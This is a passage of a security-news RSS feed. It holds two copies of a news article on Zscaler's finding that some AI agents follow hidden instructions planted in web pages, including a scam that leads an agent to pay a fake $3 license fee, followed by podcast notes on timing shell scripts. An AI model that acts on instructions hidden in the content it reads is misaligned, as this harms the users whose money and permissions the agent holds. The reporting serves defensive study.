<p>The full teardowns behind these three cases are published on GitHub: The <a href="https://github.com/yankywilson/donutcluster-AS138995">DonutLoader protocol analysis</a>, the <a href="https://github.com/yankywilson/ghost-cring-defender-toolkit">Ghost detection content</a> and the <a href="https://github.com/yankywilson/gamybear">GAMYBEAR reversing notes and rule</a>, each in its own repository.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI agents fall for indirect prompt injection traps]]></title>
<description><![CDATA[Some autonomous AI agents fell victim to frauds, reinforcing how easily some high-end enterprise agents can be conned by schemes that would fool few, if any, humans, Zscaler found in a test of major LLMs.



The security vendor looked at various forms of indirect prompt injection (IPI) traps and ...]]></description>
<link>https://tsecurity.de/de/3653554/it-security-nachrichten/ai-agents-fall-for-indirect-prompt-injection-traps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3653554/it-security-nachrichten/ai-agents-fall-for-indirect-prompt-injection-traps/</guid>
<pubDate>Wed, 08 Jul 2026 09:37:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Some autonomous AI agents fell victim to frauds, reinforcing how easily some high-end enterprise agents can be conned by schemes that would fool few, if any, humans, Zscaler found in a test of major LLMs.</p>



<p>The security vendor looked at various forms of indirect prompt injection (IPI) traps and found that, whereas many models fell victim to the schemes, some of the lower-level LLMs fared better than their pricier siblings. </p>



<p>The Zscaler testing found, <a href="https://www.zscaler.com/sites/default/files/images/page/figure-16---ipi.jpg" target="_blank" rel="noreferrer noopener">for example</a>, that four models were found to be “vulnerable”: Llama3-3-70b-instruct; Llama3-2-90b-instruct; Gemini-3-flash; and Gemini-2.5-pro. Three models were found to be “safe”: Llama4-maverick; Gemini-3.1-pro; and Gemini-3.1-flash-lite. Those results indicated that the scam resistance of Gemini-2.5-pro was seemingly weaker than that of Gemini-3.1-flash-lite. </p>



<p>But <a href="https://www.linkedin.com/in/noah-m-kenney-27499a166/" target="_blank" rel="noreferrer noopener">Noah Kenney</a>, principal consultant at Digital 520, said that there is not necessarily any valuable takeaway from that revelation, because agents constantly change behavior as they feed on new data and revise their analyzed assumptions. That means an agent that failed a specific test might very well pass the identical test an hour later, he said. </p>



<p>“The risk of an agent is constantly changing and that can cause vastly different results. You can’t assume the results are generalizable. The test result is only at one point in time,” Kenney pointed out. Zscaler “is trying to prove a point that I don’t think the data necessarily proves.”</p>



<p>Kenney added that having a clean “safe/vulnerable” classification is too simplistic to be useful. “That’s a binary classification. I would never recommend to a CISO to do a binary classification.”</p>



<p>The <a href="https://www.zscaler.com/blogs/security-research/indirect-prompt-injection-web-content-targets-ai-agents" target="_blank" rel="noreferrer noopener">full ZScaler blog post</a> argued that many autonomous agents are susceptible to IPI traps.</p>



<p>The company said it identified IPI embedded in multiple websites, where hidden instructions were designed to manipulate the behavior of an AI agent. </p>



<p>In its internal validation across 26 LLMs, 4 models “failed to take appropriate actions,” which, it said, demonstrated “measurable real-world impact, showing that susceptibility varies by model and by the context provided to the LLM alongside the prompt.”</p>



<p>The post added, “as AI agents become a more common interface to the web, the content itself is going to become a larger attack surface, highlighting that AI is a double-edged sword that can streamline workflows while also introducing new avenues for abuse.”</p>



<p><a href="https://www.linkedin.com/in/akm76/" target="_blank" rel="noreferrer noopener">Aman Mahapatra</a>, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, said that although the results are not surprising, they are significant. </p>



<p>The especially worrisome detail in the report is that any commercial LLM failed at all, “because the security model for agentic AI has historically assumed that model-level safety training would meaningfully attenuate this class of attack,” Mahapatra said. “It does not, and the Zscaler data is the first widely-cited public evidence.”</p>



<h2 class="wp-block-heading">A fundamental architecture issue</h2>



<p>Mahapatra also said that the examples cited by Zscaler are not nearly as concerning as the implications of the greater damage that could occur.</p>



<p>“The Zscaler payment scam scenario, where an agent pays a fake $3 ‘developer license fee’ to obtain an API key, is the most benign version of this,” he said. “The same technique applied to an agent authorized for procurement, expense processing, vendor onboarding, or trade execution produces losses at completely different scales. I have watched Fortune 50 banks stand up agentic workflows in the last six months that would fail exactly this attack in a live examination.”</p>



<p>Indeed, he noted, most AI vendors already understand the magnitude of risk from today’s AI agents.</p>



<p>“Every model provider will admit privately that the fundamental architecture of transformer-based reasoning cannot cleanly separate untrusted content from trusted instructions when both share the context window,” Mahapatra said. “The attack surface is architectural, not just behavioral. That means the defense has to be architectural too, and this is where the enterprise agentic AI conversation is still lagging badly.”</p>



<p>Zscaler’s testing also reinforced the difference in how AI agents and humans process information.</p>



<p>“Humans are skeptical of instructions they did not expect. Agents are eager to follow structured metadata because their training rewards them for treating high-signal fields as authoritative. Humans notice when a payment request appears in the middle of an unrelated task. Agents will thread that payment request into their execution plan if the surrounding context frames it as procedurally necessary,” Mahapatra pointed out, noting that while humans have relationships with vendors, memories of prior interactions, and social context to give them verification signals, agents only have what is in the context window, and, he said, “the context window is now the primary attack surface.”</p>



<p><a href="https://www.infotech.com/profiles/fritz-jean-louis" target="_blank" rel="noreferrer noopener">Fritz Jean-Louis</a>, principal cybersecurity advisor at Info-Tech Research Group, agreed that the risks described in the ZScaler post are concerning, because they are in areas not traditionally addressed by enterprise security.</p>



<p>“These attacks differ from traditional threats in that they target how AI systems process, interpret, and act on information behind the scenes,” Jean-Louis said. “Agentic AI introduces new trust boundaries, including untrusted content influencing automated decision making, tools and plugins acting autonomously on behalf of users, and AI systems operating with broad, inherited permissions. This effectively transforms the challenge into an insider threat paradigm.”</p>



<p><em>This article originally appeared on <a href="https://www.infoworld.com/article/4193403/zscaler-finds-autonomous-agents-succumb-to-ipi-traps.html" target="_blank">InfoWorld.</a></em></p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI agents fall for indirect prompt injection traps]]></title>
<description><![CDATA[Some autonomous AI agents fell victim to frauds, reinforcing how easily some high-end enterprise agents can be conned by schemes that would fool few, if any, humans, Zscaler found in a test of major LLMs.



The security vendor looked at various forms of indirect prompt injection (IPI) traps and ...]]></description>
<link>https://tsecurity.de/de/3653549/ai-nachrichten/ai-agents-fall-for-indirect-prompt-injection-traps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3653549/ai-nachrichten/ai-agents-fall-for-indirect-prompt-injection-traps/</guid>
<pubDate>Wed, 08 Jul 2026 09:33:27 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Some autonomous AI agents fell victim to frauds, reinforcing how easily some high-end enterprise agents can be conned by schemes that would fool few, if any, humans, Zscaler found in a test of major LLMs.</p>



<p>The security vendor looked at various forms of indirect prompt injection (IPI) traps and found that, whereas many models fell victim to the schemes, some of the lower-level LLMs fared better than their pricier siblings. </p>



<p>The Zscaler testing found, <a href="https://www.zscaler.com/sites/default/files/images/page/figure-16---ipi.jpg" target="_blank" rel="noreferrer noopener">for example</a>, that four models were found to be “vulnerable”: Llama3-3-70b-instruct; Llama3-2-90b-instruct; Gemini-3-flash; and Gemini-2.5-pro. Three models were found to be “safe”: Llama4-maverick; Gemini-3.1-pro; and Gemini-3.1-flash-lite. Those results indicated that the scam resistance of Gemini-2.5-pro was seemingly weaker than that of Gemini-3.1-flash-lite. </p>



<p>But <a href="https://www.linkedin.com/in/noah-m-kenney-27499a166/" target="_blank" rel="noreferrer noopener">Noah Kenney</a>, principal consultant at Digital 520, said that there is not necessarily any valuable takeaway from that revelation, because agents constantly change behavior as they feed on new data and revise their analyzed assumptions. That means an agent that failed a specific test might very well pass the identical test an hour later, he said. </p>



<p>“The risk of an agent is constantly changing and that can cause vastly different results. You can’t assume the results are generalizable. The test result is only at one point in time,” Kenney pointed out. Zscaler “is trying to prove a point that I don’t think the data necessarily proves.”</p>



<p>Kenney added that having a clean “safe/vulnerable” classification is too simplistic to be useful. “That’s a binary classification. I would never recommend to a CISO to do a binary classification.”</p>



<p>The <a href="https://www.zscaler.com/blogs/security-research/indirect-prompt-injection-web-content-targets-ai-agents" target="_blank" rel="noreferrer noopener">full ZScaler blog post</a> argued that many autonomous agents are susceptible to IPI traps.</p>



<p>The company said it identified IPI embedded in multiple websites, where hidden instructions were designed to manipulate the behavior of an AI agent. </p>



<p>In its internal validation across 26 LLMs, 4 models “failed to take appropriate actions,” which, it said, demonstrated “measurable real-world impact, showing that susceptibility varies by model and by the context provided to the LLM alongside the prompt.”</p>



<p>The post added, “as AI agents become a more common interface to the web, the content itself is going to become a larger attack surface, highlighting that AI is a double-edged sword that can streamline workflows while also introducing new avenues for abuse.”</p>



<p><a href="https://www.linkedin.com/in/akm76/" target="_blank" rel="noreferrer noopener">Aman Mahapatra</a>, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, said that although the results are not surprising, they are significant. </p>



<p>The especially worrisome detail in the report is that any commercial LLM failed at all, “because the security model for agentic AI has historically assumed that model-level safety training would meaningfully attenuate this class of attack,” Mahapatra said. “It does not, and the Zscaler data is the first widely-cited public evidence.”</p>



<h2 class="wp-block-heading">A fundamental architecture issue</h2>



<p>Mahapatra also said that the examples cited by Zscaler are not nearly as concerning as the implications of the greater damage that could occur.</p>



<p>“The Zscaler payment scam scenario, where an agent pays a fake $3 ‘developer license fee’ to obtain an API key, is the most benign version of this,” he said. “The same technique applied to an agent authorized for procurement, expense processing, vendor onboarding, or trade execution produces losses at completely different scales. I have watched Fortune 50 banks stand up agentic workflows in the last six months that would fail exactly this attack in a live examination.”</p>



<p>Indeed, he noted, most AI vendors already understand the magnitude of risk from today’s AI agents.</p>



<p>“Every model provider will admit privately that the fundamental architecture of transformer-based reasoning cannot cleanly separate untrusted content from trusted instructions when both share the context window,” Mahapatra said. “The attack surface is architectural, not just behavioral. That means the defense has to be architectural too, and this is where the enterprise agentic AI conversation is still lagging badly.”</p>



<p>Zscaler’s testing also reinforced the difference in how AI agents and humans process information.</p>



<p>“Humans are skeptical of instructions they did not expect. Agents are eager to follow structured metadata because their training rewards them for treating high-signal fields as authoritative. Humans notice when a payment request appears in the middle of an unrelated task. Agents will thread that payment request into their execution plan if the surrounding context frames it as procedurally necessary,” Mahapatra pointed out, noting that while humans have relationships with vendors, memories of prior interactions, and social context to give them verification signals, agents only have what is in the context window, and, he said, “the context window is now the primary attack surface.”</p>



<p><a href="https://www.infotech.com/profiles/fritz-jean-louis" target="_blank" rel="noreferrer noopener">Fritz Jean-Louis</a>, principal cybersecurity advisor at Info-Tech Research Group, agreed that the risks described in the ZScaler post are concerning, because they are in areas not traditionally addressed by enterprise security.</p>



<p>“These attacks differ from traditional threats in that they target how AI systems process, interpret, and act on information behind the scenes,” Jean-Louis said. “Agentic AI introduces new trust boundaries, including untrusted content influencing automated decision making, tools and plugins acting autonomously on behalf of users, and AI systems operating with broad, inherited permissions. This effectively transforms the challenge into an insider threat paradigm.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4678: High Resolution Elapsed Time in Shell Scripts]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.






01 Introduction






In this episode I will describe how to calculate elapsed time in bash or other shell scripts.


While this may sound like a very simple and basic thing to do, there is a slightly more complex aspect to it if you wi...]]></description>
<link>https://tsecurity.de/de/3652976/podcasts/hpr4678-high-resolution-elapsed-time-in-shell-scripts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3652976/podcasts/hpr4678-high-resolution-elapsed-time-in-shell-scripts/</guid>
<pubDate>Wed, 08 Jul 2026 02:03:40 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

</p>

<p>
01 Introduction</p>

<p>

</p>

<p>
In this episode I will describe how to calculate elapsed time in bash or other shell scripts.</p>

<p>
While this may sound like a very simple and basic thing to do, there is a slightly more complex aspect to it if you wish to calculate elapsed time to a higher resolution than one second. </p>

<p>

</p>

<p>
02</p>

<p>
There are many reasons for calculating elapsed time in a shell script.</p>

<p>
For example you may wish to simply report how long an operation took to run.</p>

<p>
Another reason may be that you are trying to speed up a script and need to calculate benchmark data to see how different alternative methods perform.</p>

<p>

</p>

<p>
03</p>

<p>
What may seem like a simple task gets a bit more complicated if you want to do it for multiple different operating systems even if they are all unix related, as we shall see.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
04 Operating Systems Tested</p>

<p>

</p>

<p>
For the purposes of this episode, I ran tests on the current version of the following operating systems.</p>

<p>

</p>

<p>
Alma</p>

<p>
Alpine</p>

<p>
Debian</p>

<p>
FreeBSD</p>

<p>
OpenBSD</p>

<p>
RaspberryPi</p>

<p>
OpenSuse</p>

<p>
Ubuntu 2604</p>

<p>

</p>

<p>
Alma is a close copy of Red Hat that we can take as representing Red Hat style distros. </p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
05 Simple Low Resolution Timing</p>

<p>

</p>

<p>
I will start with the simple and obvious method before describing the less obvious ones.</p>

<p>

</p>

<p>
This uses the date command to get the current time in seconds since the unix epoch. </p>

<p>
This is simply</p>

<p>
date '+%s'</p>

<p>

</p>

<p>
06</p>

<p>
Save this to a variable using whatever method you prefer.</p>

<p>
For example.</p>

<p>
starttime=$(date '+%s')</p>

<p>

</p>

<p>
07</p>

<p>
Next, do whatever operations it is you wish to time.</p>

<p>
Use the date command to get the current time again.</p>

<p>
endtime=$(date '+%s')</p>

<p>

</p>

<p>
08</p>

<p>
Now simply subtract the start time from the end time using shell arithmetic.</p>

<p>
This should be very obvious and basic.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
09 Higher Resolution Timing</p>

<p>

</p>

<p>
However, suppose we wish to measure time to greater than one second of precision. </p>

<p>
We need to do two things.</p>

<p>
The first is to obtain the current time at a higher degree of precision.</p>

<p>
The second is to conduct the calculations to a higher degree of precision. </p>

<p>

</p>

<p>
10</p>

<p>
Unfortunately, the standard time precision for POSIX shells seems to be 1 second.</p>

<p>
Some shells offer a higher precision, but others do not.</p>

<p>
Furthermore, standard shell arithmatic uses integer, which limits calculations to 1 second of precision.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
11 Bash High Resolution Shell Variable</p>

<p>

</p>

<p>
Fortunately, bash is one that does offer a high precision date.</p>

<p>

</p>

<p>
If you are using bash 5.0 or newer, there is a shell variable called EPOCHREALTIME which offers time since the the unix epoch (that is, since the first of January 1970, at 00:00:00 UTC) in seconds to 6 decimals of precision.</p>

<p>

</p>

<p>
12</p>

<p>
Example</p>

<p>
echo $EPOCHREALTIME</p>

<p>
1779634800.184926</p>

<p>

</p>

<p>
13</p>

<p>
This is related to the similar bash variable known as EPOCHSECONDS which gives the number of seconds since the unix epoch.</p>

<p>

</p>

<p>
14</p>

<p>
Example</p>

<p>
echo $EPOCHSECONDS</p>

<p>
1779634800</p>

<p>

</p>

<p>
15</p>

<p>
So if you are using bash, measuring time is very simple.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
16 But is it Really Bash?</p>

<p>

</p>

<p>
Is your script however actually using bash?</p>

<p>
Debian and derivatives actually have two shells.</p>

<p>
The first, the interactive shell is bash.</p>

<p>
The second, the non-interactive shell is dash, which stands for "debian almquist shell".</p>

<p>

</p>

<p>
17</p>

<p>
If you open a terminal, you get bash.</p>

<p>
If your script starts with a "bin/bash" shebang line, you get bash.</p>

<p>
However, if your script starts with a "bin/sh" shebang line, you get dash.</p>

<p>
Some people find themselves getting caught out by this one when they try something out in a terminal but find that it doesn't work in their script which started with "bin/sh".</p>

<p>

</p>

<p>
18</p>

<p>
Many other, but not all, Linux distros use bash for both the interactive and non-interactive shells, so "bin/sh" and "bin/bash" work the same with those ones.</p>

<p>

</p>

<p>
So if you intend to use bash, make sure your script calls for bash in the first line.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
19 The SHELL Variable</p>

<p>

</p>

<p>
So how can a script tell what shell it is running under?</p>

<p>
There is a shell variable called "SHELL" which will tell you the name of the shell.</p>

<p>
Well, sort of.</p>

<p>

</p>

<p>
20</p>

<p>
On Debian and derivatives "SHELL" will  say "bash" regardless of whether the actual shell is bash or dash.</p>

<p>
On some other operating systems "SHELL" will simply say "sh" even if it is something else entirely.</p>

<p>

</p>

<p>
So we need to do some additional levels of checking to see what we have. </p>

<p>

</p>

<p>
21</p>

<p>
To start with though, here's what each of the test distros reports for SHELL.</p>

<p>

</p>

<p>
Alma              : bash</p>

<p>
Alpine            : sh</p>

<p>
Debian            : bash</p>

<p>
FreeBSD           : sh</p>

<p>
OpenBSD           : ksh</p>

<p>
Raspberry-Pi      : bash</p>

<p>
Suse              : bash</p>

<p>
ubuntu2604        : bash</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
22 Bash Versus Dash</p>

<p>

</p>

<p>
First, let's try to see which ones are bash and which ones are dash.</p>

<p>

</p>

<p>
The first thing we can check is for the shell variable BASH_VERSION.</p>

<p>

</p>

<p>
23</p>

<p>
Example</p>

<p>
echo $BASH_VERSION</p>

<p>

</p>

<p>
If the shell is bash, then it will report a version string.</p>

<p>
If the shell is not bash, then it will return an empty value.</p>

<p>

</p>

<p>
24</p>

<p>
Using this test, we can see that Alma and Opensuse are indeed using bash.</p>

<p>

</p>

<p>
We however need to check Debian, Raspberry Pi, and Ubuntu when running in an "sh" script.</p>

<p>
To check this we can use the  "which" command to see what "sh" actually is.</p>

<p>

</p>

<p>
25</p>

<p>
Example</p>

<p>
echo $( ls -l $(which sh )  | rev | cut -d" " -f1 | cut -d/ -f1 | rev )</p>

<p>

</p>

<p>
26</p>

<p>
"which sh" shows us the path to "sh"</p>

<p>
However, that is a link so we need to use</p>

<p>
"ls -l" to find the actual executable.</p>

<p>
"rev" reverses the string.</p>

<p>

</p>

<p>
27</p>

<p>
"cut" takes the first element separated by spaces.</p>

<p>
The second </p>

<p>
"cut" takes the first element separated by the "/" characters.</p>

<p>
The final "rev" takes that string and reverses it again to get it in the correct order.</p>

<p>

</p>

<p>
28</p>

<p>
In the case of Debian, Raspberry Pi, and Ubuntu it tells us that this is "dash".</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
29 Openbsd</p>

<p>

</p>

<p>
Openbsd reports its shell as "ksh", which stands for Korn Shell. </p>

<p>
It is indeed Korn Shell, so we simply leave that one as is.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
30 Alpine and Freebsd</p>

<p>

</p>

<p>
Next we have Alpine Linux and Freebsd, which both report as "sh".</p>

<p>

</p>

<p>
In the case Freebsd there doesn't appear to be any further we can go that I am aware of.</p>

<p>
It's simple "sh".</p>

<p>
It is a basic POSIX shell which seems to be similar to the original unix shell, the Bourne Shell.</p>

<p>
Older versions of Freebsd used a different shell known as tsch (the C shell), but I haven't tested that so I will ignore that here.</p>

<p>

</p>

<p>
31</p>

<p>
With Alpine Linux however, we can get the actual shell using the same method that we used for Debian Linux.</p>

<p>
This reports as being "busybox".</p>

<p>

</p>

<p>
32</p>

<p>
Busybox is a limited shell intended for use in embedded systems.</p>

<p>
Alpine was originally an embedded distro, but some people started using it for containers.</p>

<p>
Alpine is Linux, but it is not GNU/Linux, and there are a number of areas which can trip you up if you are not aware of them.</p>

<p>
So, be extra careful if you are using it for anything, and test everything.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
33 Summary of Actual Shells</p>

<p>

</p>

<p>
Here is our revised list with the actual shell used when asking for "sh", so far as we can determine.</p>

<p>

</p>

<p>
Alma              : bash</p>

<p>
Alpine            : busybox</p>

<p>
Debian            : dash</p>

<p>
FreeBSD           : sh</p>

<p>
OpenBSD           : ksh</p>

<p>
Raspberry-Pi      : dash</p>

<p>
Suse              : bash</p>

<p>
ubuntu2604        : dash</p>

<p>

</p>

<p>
34</p>

<p>
There are other shells, but none of them are the default shell for any of the distros on our list, so I haven't tested them.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
35 Solutions for Measuring Time</p>

<p>

</p>

<p>
Now we need to find solutions for bash, dash, ksh, sh, and busybox.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
36 Bash</p>

<p>

</p>

<p>
For bash, we can simply use EPOCHREALTIME, as mentioned above.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
37 Dash</p>

<p>

</p>

<p>
For dash, we can use the date command.</p>

<p>
This is a very conventional method, and is probably the first answer that anyone would give for this situation.</p>

<p>
However, while it will work in most cases, it will not work in all cases, so it is not a universal solution.</p>

<p>

</p>

<p>
38</p>

<p>
To use date we simply call it with the correct format string.</p>

<p>
This uses %s to get seconds since the epoch, and %N to get nanoseconds of the current second.</p>

<p>
If you put a decimal separator between the two it will appear in the output.</p>

<p>
You can use the correct decimal separator for your locale, but I won't go into that here.</p>

<p>
Instead I will just assume a period or dot.</p>

<p>

</p>

<p>
39</p>

<p>
Example</p>

<p>
date '+%s.%N' </p>

<p>
1779634800.358916385</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
40 Problems with Date on Alpine and Openbsd</p>

<p>

</p>

<p>
Date will work for bash, dash, and sh on Freebsd.</p>

<p>
However it will not work for ksh on Openbsd, or for busybox on Alpine.</p>

<p>

</p>

<p>
41</p>

<p>
With busybox on Alpine, it simply ignores the %N format specifier and prints out the epoch in seconds only followed by the decimal separator.</p>

<p>
=</p>

<p>
Example</p>

<p>
date '+%s.%N'</p>

<p>
1779634800.</p>

<p>

</p>

<p>
42</p>

<p>
With ksh on Openbsd it prints the epoch in seconds followed by the decimal separator and then the %N as a literal N.</p>

<p>

</p>

<p>
date '+%s.%N'</p>

<p>
1779634800.N</p>

<p>

</p>

<p>
43</p>

<p>
Fortunately we have alternatives for these two cases.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
44 Openbsd</p>

<p>

</p>

<p>
Openbsd has the "ts" or timestamp utility installed by default.</p>

<p>
ts prints a time stamp in front of every line it receives from standard input.</p>

<p>
I won't go into details on all aspects of ts here, I'll leave that to someone else.</p>

<p>
Instead I will focus on how to use it for our specific purposes here.</p>

<p>

</p>

<p>
45</p>

<p>
We need to provide a format specifier to ts, which in this case is "%.s"</p>

<p>
We also need to provide something for standard input, or otherwise ts will simply sit there and wait for input.</p>

<p>
So what we need to do is to echo nothing through a pipe to ts while also giving ts the proper format specifier.</p>

<p>

</p>

<p>
46</p>

<p>
Example</p>

<p>
 echo | ts "%.s" </p>

<p>

</p>

<p>
47</p>

<p>
This will output the epoch time in seconds to six decimals of precision.</p>

<p>

</p>

<p>
ts is installed in Openbsd and Freebsd by default and can be used in either.</p>

<p>
It can also be installed in many other distros.</p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
48 Busybox on Alpine</p>

<p>

</p>

<p>
None of the methods discussed so far will work for busybox on Alpine though.</p>

<p>
However there is a way, but it's a bit non obvious and somewhat hacky.</p>

<p>

</p>

<p>
49</p>

<p>
Busybox includes a command called "adjtimex".</p>

<p>
This is normally used to adjust the time hardware.</p>

<p>
However if it is run without arguments, it will report the current settings.</p>

<p>

</p>

<p>
50</p>

<p>
These include the current epoch time in seconds , and in another field the time in microseconds.</p>

<p>
These are reported as key value pairs.</p>

<p>
So what we need to do is to do the following</p>

<p>

</p>

<p>
51</p>

<p>
Run adjtimex</p>

<p>
Capture the output.</p>

<p>
Grep for "time.tv_sec"</p>

<p>
Grep for "time.tv_usec"</p>

<p>
Use cut to extract the time value in each case.</p>

<p>
Use tr to get rid of excess spaces in each case.</p>

<p>
Combine the two in a string with a decimal separator between them.</p>

<p>

</p>

<p>
52</p>

<p>
This takes a total of 4 lines of shell script. </p>

<p>
I will just describe them breifly here, see the show notes for details.</p>

<p>

</p>

<p>
53</p>

<p>
First we want to capture the output of adjtimex in a single operation.</p>

<p>
Run adjtimex and pipe the output through grep to capture lines containing "time.tv_"</p>

<p>
and save this to a variable. </p>

<p>

</p>

<p>
# Extract the current high resolution time from adjtimex.</p>

<p>
# We want two key value pairs, identified by time.tv_sec and time.tv_usec.</p>

<p>
tvals=$( adjtimex | grep "time.tv_" )</p>

<p>

</p>

<p>
54</p>

<p>
Next echo the contents of this variable and pipe it through grep, cut, and tr to get first the seconds and then the microseconds while also removing excess spaces.</p>

<p>
Save these to two separate variables.</p>

<p>
"time.tv_sec" is the time in seconds since the epoch.</p>

<p>
"time.tv_usec" is the number of microseconds in the current second.</p>

<p>

</p>

<p>
# Get the time since the unix epoch in seconds and micro-seconds.</p>

<p>
timesec=$( echo "$tvals" | grep "time.tv_sec" | cut -d: -f2 | tr -d " " )</p>

<p>
timeusec=$( echo "$tvals" |  grep "time.tv_usec" | cut -d: -f2 | tr -d " " )</p>

<p>

</p>

<p>
55</p>

<p>
Adjtimex does not zero pad the microsecond time value to provide leading zeros, so we need to take care of this using printf before we can append it to the seconds value. We didn't need to do this with date where the %N format character does this automatically.</p>

<p>

</p>

<p>
In this instance, the  printf format string is '%06d'</p>

<p>

</p>

<p>
padusec=$( printf '%06d' $timeusec )</p>

<p>

</p>

<p>
Now, combine these into a single number with a decimal separator by using simple string concatenation.</p>

<p>
# Combine them into a single number.</p>

<p>
timehires="$timesec"".""$padusec"</p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
56 Summary of Methods</p>

<p>

</p>

<p>
Let's summarize where we are so far in terms of methods we can use to get the current time as a high resolution number.</p>

<p>

</p>

<p>
Alma                : use EPOCHREALTIME or date</p>

<p>
Debian (bash)       : use EPOCHREALTIME or date</p>

<p>
Raspberry-Pi (bash) : use EPOCHREALTIME or date</p>

<p>
ubuntu2604 (bash)   : use EPOCHREALTIME or date</p>

<p>
Suse                : use EPOCHREALTIME or date</p>

<p>
Debian (dash)       : use date</p>

<p>
Raspberry-Pi (dash) : use date</p>

<p>
ubuntu2604 (dash)   : use date</p>

<p>
Alpine              : use adjtimex and parse the output</p>

<p>
FreeBSD             : use date or ts</p>

<p>
OpenBSD             : use ts</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
57 Other alternatives</p>

<p>

</p>

<p>
There are a few alternatives that we haven't discussed yet.</p>

<p>

</p>

<p>
58 Bash with Dash</p>

<p>

</p>

<p>
In the case of Debian, Raspberry Pi, and Ubuntu running dash, since bash is available it is possible to write a separate bash script which simply echos EPOCHREALTIME and then call it from the dash script and capture the output. </p>

<p>

</p>

<p>
While this would work, there's probably not a lot of point to it.</p>

<p>
If you can rely on bash being there, then just change the first line of the script and make it a bash script.</p>

<p>

</p>

<p>
59 Adding Packages to Alpine</p>

<p>

</p>

<p>
The ts or timestamp utility is a common unix utility that can be installed if it is not present by default.</p>

<p>
This does produce high resolution timestamps on Alpine.</p>

<p>
On Alpine Linux this comes as part of the "moreutils" package.</p>

<p>
To add the package, use the following</p>

<p>
sudo apk add moreutils</p>

<p>
echo | ts "%.s" </p>

<p>
1779634800.959948 </p>

<p>

</p>

<p>
60</p>

<p>
You can also add the GNU coreutils, which will provide a high resolution date command which works like in the other examples.</p>

<p>
To add the package use the following</p>

<p>
sudo apk add coreutils</p>

<p>
date '+%s.%N'</p>

<p>
1779634800.212897332</p>

<p>

</p>

<p>
61</p>

<p>
If you can install more packages into your Alpine system, either of the above two is probably going to be preferable to parsing the output of adjtimex.</p>

<p>

</p>

<p>
62 Custom Timestamp Programs</p>

<p>

</p>

<p>
You can also write a very short program in python, perl, tcl, or some other language and have it output the current epoch time.</p>

<p>
I won't discuss that here though.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
63 Calculating Time Differences</p>

<p>

</p>

<p>
Shell arithmetic is integer only.</p>

<p>
If we wish to use high resolution timing data, we need to do something so we don't lose the precision we have worked so hard to get.</p>

<p>
There are several possible solutions.</p>

<p>

</p>

<p>
64 Change the Time Base</p>

<p>
One method is to change the time base from seconds to milli, micro, or nanoseconds. </p>

<p>
This can be done by simply multiplying the time values by the appropriate amount (e.g. 1000, 1,000,000, etc.) before subtracting them.</p>

<p>
This allows for integer arithmetic on high resolution values without losing precision.</p>

<p>

</p>

<p>
65 Use the Shell bc Arbitrary Precision Calculator</p>

<p>
The bc command line calculator will perform calculations using real numbers and is easy to use in scripts.</p>

<p>
It is present by default in most distros.</p>

<p>

</p>

<p>
echo "scale=9; $endtime - $starttime" | bc</p>

<p>

</p>

<p>
where endtime and starttime are variables containing time values.</p>

<p>

</p>

<p>
66</p>

<p>
However, for some inexplicable reason, neither Debian nor Opensuse install it by default.</p>

<p>
It is present in Ubuntu and Raspberry Pi which are Debian derivatives, and it can be added to distros which lack it.</p>

<p>

</p>

<p>
67 Use awk</p>

<p>
awk can also perform calculations using real numbers and it is present in nearly all distros including in all of the ones we tested here.</p>

<p>

</p>

<p>
echo "$endtime $starttime" | awk '{printf "%.6f\n", $1 - $2}'</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
68 Benchmarks</p>

<p>

</p>

<p>
And of course no comparative evaluation would be complete without benchmarks where we see how each method compares to another in terms of speed.</p>

<p>

</p>

<p>
In the benchmark test I ran each method in a loop through multiple iterations, measured the elapsed time, subtracted out the time for an empty loop, and then compared it to alternate methods.</p>

<p>
